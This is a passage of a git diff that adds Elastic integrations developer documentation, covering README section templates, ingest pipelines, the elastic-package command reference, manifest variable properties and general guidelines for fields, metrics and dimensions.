connecting them with any other resources they’ll need. +* Each integration document should contain several sections, and you should use consistent headings to make it easier for a single user to evaluate and use multiple integrations. + + * [Overview](#idg-docs-guidelines-overview) + * [Datastreams](#idg-docs-guidelines-datastreams) + * [Requirements](#idg-docs-guidelines-requirements) + * [Setup](#idg-docs-guidelines-setup) + * [Troubleshooting (optional)](#idg-docs-guidelines-troubleshooting) + * [Reference](#idg-docs-guidelines-reference) + + +Some considerations when these documentation files are written at `_dev/build/docs/*.md`: + +* These files follow the Markdown syntax and leverage the use of [documentation templates](https://github.com/elastic/elastic-package/blob/main/docs/howto/add_package_readme.md). +* There are some available functions or placeholders (`fields`, `event`, `url`) that can be used to help you write documentation. For more detail, refer to [placeholders](https://github.com/elastic/elastic-package/blob/main/docs/howto/add_package_readme.md#placeholders). +* Regarding the `url` placeholder, this placeholder should be used to add links to the [Elastic documentation guides](https://www.elastic.co/guide/index.html) in your documentation: + + * The file containing all of the defined links is in the root of the directory: [`links_table.yml`](https://github.com/elastic/elastic-package/blob/main/scripts/links_table.yml) + * If needed, more links to Elastic documentation guides can be added into that file. + * Example usage: + + * In the documentation files (`_dev/build/docs/*.md`), `{{ url "getting-started-observability" "Elastic guide" }}` generates a link to the Observability Getting Started guide. + + + +### Overview [idg-docs-guidelines-overview] + +The overview section explains what the integration is, defines the third-party product that is providing data, establishes its relationship to the larger ecosystem of Elastic products, and helps the reader understand how it can be used to solve a tangible problem. + +The overview should answer the following questions: + +* What is the integration? +* What is the third-party product that is providing data? +* What can you do with it? + + * General description + * Basic example + + + +#### Template [_template] + +Use this template language as a starting point, replacing `` with details about the integration: + +```text +The integration allows you to monitor . is . + +Use the integration to . Then visualize that data in Kibana, create alerts to notify you if something goes wrong, and reference when troubleshooting an issue. + +For example, if you wanted to you could . Then you can by . +``` + + +#### Example [_example] + +```text +The AWS CloudFront integration allows you to monitor your AWS CloudFront usage. AWS CloudFront is a content delivery network (CDN) service. + +Use the AWS CloudFront integration to collect and parse logs related to content delivery. Then visualize that data in Kibana, create alerts to notify you if something goes wrong, and reference logs when troubleshooting an issue. + +For example, you could use the data from this integration to know when there are more than some number of failed requests for a single piece of content in a given time period. You could also use the data to troubleshoot the underlying issue by looking at additional context in the logs like the number of unique users (by IP address) who experienced the issue, the source of the request, and more. +``` + + +### Datastreams [idg-docs-guidelines-datastreams] + +The data streams section provides a high-level overview of the kind of data that is collected by the integration. This is helpful since it can be difficult to quickly derive an understanding from just the reference sections (since they’re so long). + +The data streams section should include: + +* A list of the types of data streams collected by the integration +* A summary of each type of data stream included and a link to the relevant reference section: + + * Logs + * Metrics + +* Notes (optional) + + +#### Template [_template_2] + +Use this template language as a starting point, replacing `` with details about the integration: + +```text +## Data streams + +The integration collects two types of data streams: logs and metrics. + +**Logs** help you keep a record of events happening in . +Log data streams collected by the integration include and more. See more details in the [Metrics]<#metrics-reference>. + + + + +``` + + +#### Example [_example_2] + +```text +The System integration collects two types of data: logs and metrics. + +Logs help you keep a record of events that happen on your machine. Log data streams collected by the System integration include application, system, and security events on machines running Windows or auth and syslog events on machines running macOS or Linux. See more details in the Logs reference. + +Metrics give you insight into the state of the machine. Metric data streams collected by the System integration include CPU usage, load statistics, memory usage, information on network behavior, and more. See more details in the Metrics reference. + +You can enable and disable individual data streams. If all data streams are disabled and the System integration is still enabled, Fleet uses the default data streams. +``` + + +### Requirements [idg-docs-guidelines-requirements] + +The requirements section helps readers to confirm that the integration will work with their systems. + +* Elastic prerequisites (for example, a self-managed or Cloud deployment) +* System compatibility +* Supported versions of third-party products +* Permissions needed +* Anything else that could block a user from successfully using the integration + + +#### Template [_template_3] + +Use this template language as a starting point, including any other requirements for the integration: + +```text +## Requirements + +You need Elasticsearch for storing and searching your data and Kibana for visualizing and managing it. +You can use our hosted Elasticsearch Service on Elastic Cloud, which is recommended, or self-manage the Elastic Stack on your own hardware. + + +``` + + +#### Example [_example_3] + +```text +You need Elasticsearch for storing and searching your data and Kibana for visualizing and managing it. You can use our hosted Elasticsearch Service on Elastic Cloud, which is recommended, or self-manage the Elastic Stack on your own hardware. + +Each data stream collects different kinds of metric data, which may require dedicated permissions to be fetched and may vary across operating systems. Details on the permissions needed for each data stream are available in the Metrics reference. +``` + +For a much more detailed example, refer to the [AWS integration requirements](https://github.com/elastic/integrations/blob/main/packages/aws/_dev/build/docs/README.md#requirements). + + +### Setup [idg-docs-guidelines-setup] + +The setup section points the reader to the Observability [Getting started guide](docs-content://solutions/observability/get-started.md) for generic, step-by-step instructions. + +This section should also include any additional setup instructions beyond what’s included in the guide, which may include instructions to update the configuration of a third-party service. For example, for the Cisco ASA integration, users need to configure their Cisco device following the [steps found in the Cisco documentation](https://documentation.meraki.com/General_Administration/Monitoring_and_Reporting/Syslog_Server_Overview_and_Configuration#Configuring_a_Syslog_Server). + +::::{note} +When possible, use links to point to third-party documentation for configuring non-Elastic products since workflows may change without notice. +:::: + + + +#### Template [_template_4] + +Use this template language as a starting point, including any other setup instructions for the integration: + +```text +## Setup + + + +For step-by-step instructions on how to set up an integration, see the +{{ url "getting-started-observability" "Getting started" }} guide. + + +``` + + +#### Example [_example_4] + +```text +Before sending logs to Elastic from your Cisco device, you must configure your device according to <>. + +After you've configured your device, you can set up the Elastic integration. For step-by-step instructions on how to set up an integration, see the <> guide. +``` + + +### Troubleshooting (optional) [idg-docs-guidelines-troubleshooting] + +The troubleshooting section is optional. It should contain information about special cases and exceptions that aren’t necessary for getting started or won’t be applicable to all users. + + +#### Template [_template_5] + +There is no standard format for the troubleshooting section. + + +#### Example [_example_5] + +```text +>Note that certain data streams may access `/proc` to gather process information, +>and the resulting `ptrace_may_access()` call by the kernel to check for +>permissions can be blocked by +>[AppArmor and other LSM software](https://gitlab.com/apparmor/apparmor/wikis/TechnicalDoc_Proc_and_ptrace), even though the System module doesn't use `ptrace` directly. +> +>In addition, when running inside a container the proc filesystem directory of the host +>should be set using `system.hostfs` setting to `/hostfs`. +``` + + +### Reference [idg-docs-guidelines-reference] + +Readers might use the reference section while evaluating the integration, interpreting collected data, or troubleshooting issues. + +There can be any number of reference sections (for example, `## Metrics reference`, `## Logs reference`). Each reference section can contain one or more subsections, such as one for each individual data stream (for example, `### Access Logs` and `### Error logs`). + +Each reference section should contain detailed information about: + +* A list of the log or metric types we support within the integration and a link to the relevant third-party documentation. +* (Optional) An example event in JSON format. +* Exported fields for logs, metrics, and events with actual types (for example, `counters`, `gauges`, `histograms` vs. `longs` and `doubles`). Fields should be generated using the instructions in [Fine-tune the integration](https://github.com/elastic/integrations/blob/main/docs/fine_tune_integration.md). +* ML Modules jobs. + + +#### Template [_template_6] + +```text + +## reference + + +## + +The `` data stream provides events from of the following types: . + + + + + + +### Exported fields + + +``` + + +#### Example [_example_6] + +```text +>## Logs reference +> +>### PAN-OS +> +>The `panos` data stream provides events from Palo Alto Networks device of the following types: [GlobalProtect](https://docs.paloaltonetworks.com/pan-os/10-2/pan-os-admin/monitoring/use-syslog-for-monitoring/syslog-field-descriptions/globalprotect-log-fields), [HIP Match](https://docs.paloaltonetworks.com/pan-os/10-2/pan-os-admin/monitoring/use-syslog-for-monitoring/syslog-field-descriptions/hip-match-log-fields), [Threat](https://docs.paloaltonetworks.com/pan-os/10-2/pan-os-admin/monitoring/use-syslog-for-monitoring/syslog-field-descriptions/threat-log-fields), [Traffic](https://docs.paloaltonetworks.com/pan-os/10-2/pan-os-admin/monitoring/use-syslog-for-monitoring/syslog-field-descriptions/traffic-log-fields) and [User-ID](https://docs.paloaltonetworks.com/pan-os/10-2/pan-os-admin/monitoring/use-syslog-for-monitoring/syslog-field-descriptions/user-id-log-fields). +> +>#### Example +> +>An example event for `panos` looks as following: +> +>(code block) +> +>#### Exported fields +> +>(table of fields) +``` + diff --git a/docs/extend/edit-ingest-pipeline.md b/docs/extend/edit-ingest-pipeline.md new file mode 100644 index 00000000000..d3c29307aaa --- /dev/null +++ b/docs/extend/edit-ingest-pipeline.md @@ -0,0 +1,55 @@ +--- +mapped_pages: + - https://www.elastic.co/guide/en/integrations-developer/current/edit-ingest-pipeline.html +--- + +# Edit ingest pipelines [edit-ingest-pipeline] + +In most instances, before you ingest data into the {{stack}}, the data needs to be manipulated. For example, you should parse your logs into structured data before ingestion. To do so, integrations use **ingest pipelines**. + +::::{admonition} +**Ingest pipelines** let you perform common transformations on your data before indexing. For example, you can use pipelines to remove fields, extract values from text, and enrich your data. + +A pipeline consists of a series of configurable tasks called processors. Each processor runs sequentially, making specific changes to incoming documents. After the processors have run, {{es}} adds the transformed documents to your data stream or index. + +Learn more in the [ingest pipeline reference](docs-content://manage-data/ingest/transform-enrich/ingest-pipelines.md). + +:::: + + +Ingest pipelines are defined in the `elasticsearch/ingest_pipeline` directory. They only apply to the parent data stream within which they live. For our example, this would be the `apache.access` dataset. + +For example, the [Apache integration](https://github.com/elastic/integrations/tree/main/packages/apache): + +```text +apache +└───data_stream +│ └───access +│ │ └───elasticsearch/ingest_pipeline +│ │ default.yml <1> +│ └───error +│ └───status +``` + +1. The ingest pipeline definition for the access logs data stream of the Apache integration + + +An ingest pipeline definition requires a description and an array of processors. Here’s a snippet of the access logs ingest pipeline: + +```yaml +description: "Pipeline for parsing Apache HTTP Server access logs." +processors: +- set: + field: event.ingested + value: '{{_ingest.timestamp}}' +- rename: + field: message + target_field: event.original +- remove: + field: apache.access.time + ignore_failure: true +``` + +Open each `elasticsearch/ingest_pipeline/default.yml` file created for each data stream. Edit each ingest pipeline to match your needs. + +The [processor reference](elasticsearch://reference/ingestion-tools/enrich-processor/index.md) provides a list of all available processors and their configurations. diff --git a/docs/extend/elastic-package.md b/docs/extend/elastic-package.md new file mode 100644 index 00000000000..48722944d63 --- /dev/null +++ b/docs/extend/elastic-package.md @@ -0,0 +1,291 @@ +--- +mapped_pages: + - https://www.elastic.co/guide/en/integrations-developer/current/elastic-package.html +--- + +# elastic-package reference [elastic-package] + +`elastic-package` is a command line tool, written in Go, used for developing Elastic packages. It can help you lint, format, test, build, and promote your packages. + + +## Get started [elastic-package-start] + +1. Download and build the latest main of elastic-package binary: + + ```bash + git clone https://github.com/elastic/elastic-package.git + make build + ``` + + ::::{tip} + Make sure that you’ve correctly set up the [`$GOPATH` and `$PATH`](https://golang.org/doc/gopath_code.md#GOPATH) environment variables. `elastic-package` must be accessible from your `$PATH`. + :::: + +2. Change into the directory of the package under development: + + ```bash + cd my-package + ``` + +3. Run the `help` command to see available commands + + ```bash + elastic-package help + ``` + + + +## Command reference [elastic-package-command-reference] + +The following `elastic-package` commands are available. For more details on a specific command, run `elastic-package help `. + +Some commands have a *global context*, meaning that you can execute them from anywhere. Other commands have a *package context*; these must be executed from somewhere under a package root folder, and the command will only operate on the contents of that package. + + +### `elastic-package help` [_elastic_package_help] + +*Context: global* + +Use this command to list all commands available under `elastic-package` and a brief description of what each command does. + + +### `elastic-package build` [_elastic_package_build] + +*Context: package* + +Use this command to build a package. Currently, it supports only the "integration" package type. + +Built packages are stored in the "build/" folder located at the root folder of the local Git repository checkout that contains your package folder. The command will also render the README file in your package folder if a corresponding template file present in `_dev/build/docs/README.md`. All `_dev` directories under your package will be omitted. + +Built packages are served up by the {{package-registry}} running locally (see "elastic-package stack"). Therefore, if you want a local package to be served up by the local {{package-registry}}, make sure to build that package first using "elastic-package build". + +You can also publish built packages to the global package registry service. + + +### `elastic-package check` [_elastic_package_check] + +*Context: package* + +Use this command to verify if the package is correct in terms of formatting, validation and building. + +It will execute the format, lint, and build commands all at once, in that order. + + +### `elastic-package clean` [_elastic_package_clean] + +*Context: package* + +Use this command to clean resources used for building the package. + +The command will remove built package files (in build/), files needed for managing the development stack (in `~/.elastic-package/stack/development`) and stack service logs (in `~/.elastic-package/tmp/service_logs`). + + +### `elastic-package create` [_elastic_package_create] + +*Context: global* + +Use this command to create a new package or add more data streams. + +The command can help bootstrap the first draft of a package using an embedded package template. Then, you can use it to extend the package with more data streams. + +For details on creating a new package, review the [HOWTO guide](https://github.com/elastic/elastic-package/blob/main/docs/howto/create_new_package.md). + + +### `elastic-package export` [_elastic_package_export] + +*Context: package* + +Use this command to export assets relevant for the package, e.g. {{kib}} dashboards. + + +### `elastic-package format` [_elastic_package_format] + +*Context: package* + +Use this command to format the package files. + +The formatter supports JSON and YAML format and skips "ingest_pipeline" directories as it’s hard to correctly format Handlebars template files. As a result, formatted files are overwritten. + + +### `elastic-package install` [elastic-package-install] + +*Context: package* + +Use this command to upload and install a package in {{kib}}. + +Starting with Kibana version `8.7.0`, packages do not need to be exposed in the Package Registry to be installed. Instead, they can be upload as zip files built using the `elastic-package build` command. + +1. Ensure you’ve validated your package. Before building, validate the package by running the `elastic-package check` command. +2. Use either the `--zip` parameter to install a specific zip file or the `install` command to build the package and upload the built zip file to Kibana. + + +#### Install with `--zip` [_install_with_zip] + +Install a zipped package. This method relies on Package Registry. + +```shell +elastic-package stack up -d +elastic-package install --zip /home/user/Coding/work/integrations/build/packages/elastic_package_registry-0.0.6.zip -v +``` + + +#### Install with `elastic-package install` [_install_with_elastic_package_install] + +Build and upload a zipped package without relying on Package Registry. + +```shell +elastic-package stack up -v -d +elastic-package install -v +``` + + +#### Customization [_customization] + +Package installation can be customized to be installed in other Kibana instances with the following variables: + +* `ELASTIC_PACKAGE_KIBANA_HOST` +* `ELASTIC_PACKAGE_ELASTICSEARCH_USERNAME` +* `ELASTIC_PACKAGE_ELASTICSEARCH_PASSWORD` +* `ELASTIC_PACKAGE_CA_CERT` + +For example: + +```bash +export ELASTIC_PACKAGE_KIBANA_HOST="https://test-installation.kibana.test:9243" +export ELASTIC_PACKAGE_ELASTICSEARCH_USERNAME="elastic" +export ELASTIC_PACKAGE_ELASTICSEARCH_PASSWORD="xxx" +# if it is a public instance, this variable should not be needed +export ELASTIC_PACKAGE_CA_CERT="" + +elastic-package install --zip elastic_package_registry-0.0.6.zip -v +``` + + +#### Older versions [_older_versions] + +For versions of Kibana `<8.7.0`, the package must be exposed via the Package Registry. In case of development, this means that the package should be built previously and then the Elastic stack must be started. Or, at least, the `package-registry` service needs to be restarted in the Elastic stack: + +```bash +elastic-package build -v +elastic-package stack up -v -d # elastic-package stack up -v -d --services package-registry +elastic-package install -v +``` + +To install the package in {{kib}}, the command uses {{kib}} API. The package must be exposed via the {{package-registry}}. + + +### `elastic-package lint` [_elastic_package_lint] + +*Context: package* + +Use this command to validate the contents of a package using the package specification (see: [https://github.com/elastic/package-spec](https://github.com/elastic/package-spec)). + +The command ensures that the package aligns with the package spec and that the README file is up-to-date with its template (if present). + + +### `elastic-package profiles` [_elastic_package_profiles] + +*Context: global* + +Use this command to add, remove, and manage multiple config profiles. + +Individual user profiles appear in ~/.elastic-package/stack and contain all the config files needed by the "stack" subcommand. Once a new profile is created, it can be specified with the -p flag, or the ELASTIC_PACKAGE_PROFILE environment variable. User profiles are not overwritten on an upgrade of elastic-stack and can be freely modified to allow for different stack configs. + + +### `elastic-package promote` [_elastic_package_promote] + +*Context: global* + +Use this command to move packages between the {{package-registry}} snapshot, staging, and production stages. + +This command is intended primarily for use by administrators. + +It allows for selecting packages for promotion and opens new pull requests to review changes. However, please be aware that the tool checks out an in-memory Git repository and switches over branches (snapshot, staging and production), so it may take longer to promote a larger number of packages. + + +### `elastic-package publish` [_elastic_package_publish] + +*Context: package* + +Use this command to publish a new package revision. + +The command checks if the package has already been published (whether it’s present in the snapshot/staging/production branch or open as pull request). If the package revision hasn’t been published, it will open a new pull request. + + +### `elastic-package service` [_elastic_package_service] + +*Context: package* + +Use this command to boot up the service stack that can be observed with the package. + +The command manages the lifecycle of the service stack defined for the package (`_dev/deploy`) for package development and testing purposes. + + +### `elastic-package stack` [_elastic_package_stack] + +*Context: global* + +Use this command to spin up a Docker-based {{stack}} consisting of {{es}}, {{kib}}, and the {{package-registry}}. By default, the latest released version of the {{stack}} is spun up, but it is possible to specify a different version, including SNAPSHOT versions. + +For details on connecting the service with the {{stack}}, see the [service command](https://github.com/elastic/elastic-package/blob/main/README.md#elastic-package-service). + + +### `elastic-package status [package]` [_elastic_package_status_package] + +*Context: package* + +Use this command to display the current deployment status of a package. + +If a package name is specified, then information about that package is returned. Otherwise, this command checks if the current directory is a package directory and reports its status. + + +### `elastic-package test` [_elastic_package_test] + +*Context: package* + +Use this command to run tests on a package. Currently, the following types of tests are available: + + +#### Asset Loading Tests [_asset_loading_tests] + +These tests ensure that all the {{es}} and {{kib}} assets defined by your package get loaded up as expected. + +For details on running asset loading tests for a package, see the [HOWTO guide](https://github.com/elastic/elastic-package/blob/main/docs/howto/asset_testing.md). + + +#### Pipeline Tests [_pipeline_tests] + +These tests allow you to exercise any Ingest Node Pipelines defined by your packages. + +For details on how configuring a pipeline test for a package, review the [HOWTO guide](https://github.com/elastic/elastic-package/blob/main/docs/howto/pipeline_testing.md). + + +#### Static Tests [_static_tests] + +These tests allow you to verify if all static resources of the package are valid, e.g. if all fields of the sample_event.json are documented. + +For details on running static tests for a package, see the [HOWTO guide](https://github.com/elastic/elastic-package/blob/main/docs/howto/static_testing.md). + + +#### System Tests [_system_tests] + +These tests allow you to test a package ability for ingesting data end-to-end. + +For details on configuring and running system tests, review the [HOWTO guide](https://github.com/elastic/elastic-package/blob/main/docs/howto/system_testing.md). + + +### `elastic-package uninstall` [_elastic_package_uninstall] + +*Context: package* + +Use this command to uninstall the package in {{kib}}. + +To uninstall the package in {{kib}}, the command uses the {{kib}} API. The package must be exposed via the {{package-registry}}. + + +### `elastic-package version` [_elastic_package_version] + +*Context: global* + +Use this command to print the version of elastic-package that you have installed. This command is especially useful when reporting bugs. + diff --git a/docs/extend/finishing-touches.md b/docs/extend/finishing-touches.md new file mode 100644 index 00000000000..8419f942583 --- /dev/null +++ b/docs/extend/finishing-touches.md @@ -0,0 +1,82 @@ +--- +mapped_pages: + - https://www.elastic.co/guide/en/integrations-developer/current/finishing-touches.html +--- + +# Finishing touches [finishing-touches] + +## Words [_words] + +Tips for manifest files: + +* Descriptions of configuration options should be as short as possible. + + Remember to keep only the meaningful information about the configuration option. + + * Good candidates: references to the product configuration, accepted string values, explanation. + * Bad candidates: Collect metrics from A, B, C, D,…​ X, Y, Z datasets. + + +* Descriptions should be human readable. + + Try to rephrase sentences like: Collect foo_Bar3 metrics, into Collect Foo Bar metrics. + +* Descriptions should be easy to understand. + + Simplify sentences, don’t provide information about the input if not required. + + * Bad candidate: Collect application logs (log input) + * Good candidates: Collect application logs, Collect standard logs for the application + + + +## Add an icon [_add_an_icon] + +The integration icons are displayed in different places in {{kib}}, hence it’s better to define custom icons to make the UI easier to navigate. + + +## Add screenshots [_add_screenshots] + +The {{kib}} Integration Manager shows screenshots related to the integration. Screenshots include {{kib}} dashboards visualizing the metric and log data. + + +## Create a README file [_create_a_readme_file] + +The README template is used to render the final README file, including exported fields. The template should be placed in the `package//_dev/build/docs/README.md`. If the directory doesn’t exist, please create it. + +To see how to use template functions, for example {{fields "data-stream-name"}}, review the MySQL docs template. If the same data stream name is used in both metrics and logs, please add -metrics and -logs in the template. For example, ELB is a data stream for log and also a data stream for metrics. In README.md template, {{fields "elb_logs"}} and {{fields "elb_metrics"}} are used to separate them. + + +## Review artifacts [_review_artifacts] + + + +## Define variable properties [define-variable-properties] + +The variable properties customize visualization of configuration options in the {{kib}} UI. Make sure they’re defined in all manifest files. + +```yaml +vars: + - name: paths + required: true <1> + show_user: true <2> + title: Access log paths <3> + description: Paths to the apache access log file. <4> + type: text <5> + multi: true <6> + hide_in_deployment_modes: <7> + - agentless + default: + - /var/log/httpd/access.log* +``` + +1. option is required +2. don’t hide the configuration option (collapsed menu) +3. human readable variable name +4. variable description (may contain some details) +5. field type (according to the reference: text, password, bool, integer) +6. the field has multiple values +7. hides the variable in agentless mode (see [`hide_in_deployment_modes`](/extend/define-deployment-modes.md#hide_in_deployment_modes) for more information) + + + diff --git a/docs/extend/general-guidelines.md b/docs/extend/general-guidelines.md new file mode 100644 index 00000000000..197db4c771e --- /dev/null +++ b/docs/extend/general-guidelines.md @@ -0,0 +1,184 @@ +--- +mapped_pages: + - https://www.elastic.co/guide/en/integrations-developer/current/general-guidelines.html +--- + +# General guidelines [general-guidelines] + +::::{important} +The following guidelines capture general aspects of the integrations that can be improved and should not be treated as a mandatory list of requirements every package should adhere to. Some guidelines that are applicable to one integration can be completely irrelevant to another. Treat them as best effort. +:::: + + +While the guidelines focus on metrics, they are equally applicable to logs. + + +## Data types [_data_types] + +Given that all packages are basic, developers should use Basic types (for example `histogram`. `wildcard`, etc.) when applicable. Of course, for ECS (see below) we should use the type specified by ECS. + + +## ECS compliance [_ecs_compliance] + +An integration package should be compliant with the most recent version of ECS. This implies an increased amount of relevant ECS fields populated by an integration. + +Starting with ECS 1.6, ECS is going to start using Basic types for some fields. Integration fields should be upgraded to the new types as part of the process. + + +## Document all fields [_document_all_fields] + +All fields produced by an integration must be mapped by `fields.yml`. This guarantees that their index mapping is correct, and Kibana has enough information to deal with all fields. + + +### Field limits [_field_limits] + +By default, data streams will have a `total_fields.limit` setting of 1000. Besides defined custom fields, this also includes dynamically generated ECS fields. If your data stream is expected to eventually house more than 1000 fields, set an explicit limit in the `manifest.yml` of the data stream: + +```yaml +elasticsearch: + index_template: + settings: + index: + mapping: + total_fields: + limit: 5000 +``` + +::::{note} +For backwards compatibility, the limit is automatically bumped to 10000 fields if there are more than 500 fields explicitly defined for a data stream, however newly created integrations should not rely on this behavior but instead assume a fixed limit of 1000 fields. +:::: + + + +### Specify metric types and units [_specify_metric_types_and_units] + +As part of the field definition, there are two settings that add metadata which will help Kibana graphing it: + +* `unit` applies to all data types, defines the units of the field. Examples of units are `byte` and `ms`. When using `percent` for percentages, the convention is to use 1 for 100%. You can find the full list of supported units in the [package spec](https://github.com/elastic/package-spec/blob/ff8286d0c40ad76bb082e9c8ea78f4551c2519c1/spec/integration/data_stream/fields/fields.spec.yml#L103). +* `metric_type` applies to metric events only, to be added to metric fields. It defines their metric type. It can be of type `gauge` or `counter`. Counters are used for metrics that always increase over time, such as number of page visits. Gauges are used for amounts that can increase or decrease over time, such as the amount of memory being used. + +The Elasticsearch documentation details the [expected values for these two fields](elasticsearch://reference/elasticsearch/mapping-reference/mapping-field-meta.md). + +Other applications, including Kibana, can use the information provided by this metadata when accessing these fields. The `unit` is used when formatting the values of the field, and the `metric_type` can be used to provide better defaults when quering the data. + + +### Specify dimensions [_specify_dimensions] + +A set of fields of a data stream can be defined as dimensions. A set of dimensions with the same values identify a single time series. + +It is important to choose the set of fields carefully. They should be the minimal set of dimensions required to properly identify any time series included in the data stream. Too few dimensions can mix data of multiple time series into a single one, while too many dimensions can impact performance. + +A field can be configured as a dimension by setting `dimension: true` in its definition. + +Only fields of certain data types can be defined as dimensions. These data types include keywords, IPs and numeric types. + +Some guidelines to take into account when chosing dimensions: + +* They can affect ingestion performance, it is recommended to have as few dimensions as possible. When selecting dimensions, try to avoid redundant ones, such as unique identifiers and names that refer to the same object. +* Also be careful with having too few dimensions. There can be only one document with the same timestamp for a given set of dimensions. This can lead to data loss if different objects produce the same dimensions. +* Changing dimensions can be a breaking change. A different set of dimensions produces a different time series, even if they select the same data. + +Declaring dimensions is a requisite to use TSDB indexes. These indexes are optimized for time series use cases, bringing disk storage savings and additional queries and aggregations. + +TSDB indexes can be enabled in data streams by setting `elasticsearch.index_mode: time_series` in their manifests. + + +## Logs and Metrics UI compatibility [_logs_and_metrics_ui_compatibility] + +When applicable an integrataion package should provide the relevant fields for the Logs and Metrics Apps. This is especially relevant for integrations that are focused on compute-resources (VMs, containers, etc.). + +* Keep the [Logs app fields](docs-content://reference/observability/fields-and-object-schemas/logs-app-fields.md) reference up to date. +* Keep the [Infrastructure app fields](docs-content://reference/observability/fields-and-object-schemas/metrics-app-fields.md) reference up to date. + + +## Subtracting metrics [_subtracting_metrics] + +An integration package should collect a reasonable amount of metrics for any target system. In some cases this may mean removing some metrics that Filebeat and Metricbeat are collecting today. Collecting too many metrics has implications on metric storage as well as relevance of the data provided to the user. + +Potential candidates to remove: + +* low-level garbage collector metrics +* internal metrics showing code flow (for example, `Got100Continue`, `Wait100Continue`) +* redundant metrics (for example, metric collection for MQ topics doesn’t require collection of summary metrics) + + +## Relevant metrics [_relevant_metrics] + +This is probably the most important and hardest one of the guidelinesto satisfy, as it requires knowledge of every target system. Identifying relevant metrics should be considered case by case. + +There are no well defined guidelines for this exercise. It can be as simple as finding everything in one place (for example the [RabbitMQ documentation](https://www.rabbitmq.com/monitoring.md)) or as difficult as reviewing multiple sources including documentation, blog posts, and other integrations, and consolidating the discovered information in one place for revision. A recommendation is to only collect the metrics that are needed for dashboards and visualizations in general. + + +## Keep the original message field [_keep_the_original_message_field] + +Log integrations should keep the original message field (recommended name: `event.original`) so that it shows up in the Logs UI. It will also be useful when users want to reindex the data after changing a pipeline. In addition, the message field can be used as source for the some future Runtime fields. + +The original field should be user-configurable with the Kibana UI for better cost and storage management, and also consistency with other integrations. + + +## Document storage efficiency [_document_storage_efficiency] + +Every integration should strive to store collected data as efficiently as possible, which implies optimizing the way each integration generates documents. + + +## Default datasets [_default_datasets] + +When applicable, an integration package should provide a default dataset that aggregates a subset of the most relevant metrics across other data streams. Think of these as the metrics that are visualized on overview dashboards or are used for alerting. A guideline for creating a separate default dataset could be when the number of datasets in a package is more than three. + + +## Updated versions [_updated_versions] + +An integration package should support the most relevant versions of a target system. Some of our integrations support older versions of a target service/system, which were relevant at the time of implementation. Over time they can become outdated and require a revision, which can be as simple as testing the integration against the latest version and updating the compatibility section in the documentation, or it can mean refactoring the code to work with the latest version. For example, the Ceph module has recently been updated to support the latest version which had an entirely different way of collecting metrics. In order to accommodate both older and new versions in the module, metricsets were created in the module specifically for newer versions and it was noted in the documentation which metricsets to use. + + +## Updated configuration defaults [_updated_configuration_defaults] + +An integration package should provide meaningful defaults, such as collection intervals (periods), enabled metricsets, and any other integration specific configuration parameters. In the majority of cases users opt to use defaults. Hence, providing the relevant default values is crucial for the integration to be useful. In addition, integrations should strive to provide a one-click experience by providing the defaults that can cover 80% of use cases. + + +## Updated docs [_updated_docs] + +Integration packages should provide consistent and comprehensive documentation. For more details, refer to the [documentation guidelines](/extend/documentation-guidelines.md). + + +## Updated integration content [_updated_integration_content] + +Integration packages should provide out-of-the-box dashboards. For more details, refer to the [dashboard guidelines](/extend/dashboard-guidelines.md). + + +## Content for elastic.co/integrations [_content_for_elastic_cointegrations] + +Each integration will be listed on the public website `elastic.co/integrations` and the package registry will serve as the source of truth. As a result, documentation and screenshots should be high quality to showcase the integration. Please ensure to use `svg` for the logo and `png` for all other images. Any additional branding material should be reviewed carefully, for example: + +* logo format and quality +* permission to use logos and trademarks + + +## Curated user experiences [_curated_user_experiences] + +It’s advised to set integration policies in Fleet. Every integration and agent should be visible in Fleet and users should be able to add the integration directly from the integration list. This leads to better cohesion since it provides a consistent experience across integrations, allow users to add several integrations at once, and avoids sending them back and forth between multiple apps. It also allows users to discover new integrations in the list. + +Elastic products will also have the option to provide a curated UI for settings that are difficult to put in Fleet. It’s up to the product to decide how much flexibility they want to provide in changing the configuration directly from Fleet. This will depend on the use case and if it makes sense. Some level of configuration is recommended though. + + +## Asset tagging and metadata [_asset_tagging_and_metadata] + +When assets are installed through Fleet some metadata is added by default. + +For Elasticsearch assets such as index templates and ingest pipelines, a `_meta` property is added to the asset as follows: + +```json +{ + "managed_by": "fleet", + "managed": true, + "package": { + "name": "" + } +} +``` + +For Kibana assets, [tags](docs-content://explore-analyze/find-and-organize/tags.md) are generated in addition to the `_meta` property: + +* One tag with a `name` matching the package’s `title` property +* The `managed` tag, which Kibana uses to recognize "system" assets, or those that are installed by Kibana itself instead of generated by an end user + diff --git a/docs/extend/index.md b/docs/extend/index.md new file mode 100644 index 00000000000..125e50becd8 --- /dev/null +++ b/docs/extend/index.md @@ -0,0 +1,24 @@ +--- +mapped_pages: + - https://www.elastic.co/guide/en/integrations-developer/current/index.html +--- + +# Create an Integration + +This section provides the guidance you'll need to be able to create, manage, and optimize integrations with Elastic products. + +## Getting Started + +Begin by understanding what is an [integration](./what-is-an-integration.md). + +## Building Integrations + +Dive deep into the technical aspects of building integrations with Elastic products. Our [Building Integrations](./build-new-integration.md) guide covers everything from architecture and design principles to coding best practices and sample projects. + +## Testing and Validation + +Ensure your integrations work seamlessly by following our [Testing and Validation](./testing-validation.md) guidelines. Learn about different testing methodologies, tools, and techniques to validate your integration's performance and reliability. + +## Packaging and Deployment + +Once your integration is ready, our [Packaging and Deployment](./package-spec.md) guide will help you package your integration and deploy it efficiently. This section includes instructions on creating distributable packages, setting up deployment environments, and more. diff --git a/docs/extend/integration-definitions.md b/docs/extend/integration-definitions.md new file mode 100644 index 00000000000..02c219ba9b8 --- /dev/null +++ b/docs/extend/integration-definitions.md @@ -0,0 +1,51 @@ +--- +mapped_pages: + - https://www.elastic.co/guide/en/integrations-developer/current/integration-definitions.html +--- + +# Definitions [integration-definitions] + + +## Package [_package] + +An Elastic Package, or simply package for short, contains the dashboards, visualisations, and configurations to monitor the logs and metrics of a particular technology or group of related services, such as “MySQL”, or “System”. + +The package consists of: + +* Name +* Zero or more dashboards and visualisations and Canvas workpads +* Zero or more ML job definitions +* Zero or more data stream index templates + +The package is versioned. + + +## Integration [_integration] + +An integration is a specific type of a package defining data streams used to observe a product using logs, metrics, and traces. + + +## Data stream [_data_stream] + +A data stream is logical sub-division of an Integration package, dealing with a specific type of observable aspect of the service or product being observed. For example, the `mysql` package defines a data stream for collecting metrics and another data stream for collecting server logs. + +A data stream defines all the assets needed to create an Elasticsearch data stream, for example: index templates and ingest pipelines. These assets are loaded into Elasticsearch when a user installs a package via the Fleet UI in Kibana. + +A data stream also defines a policy template. Policy templates include variables that allow users to configure the data stream via the Fleet UI in 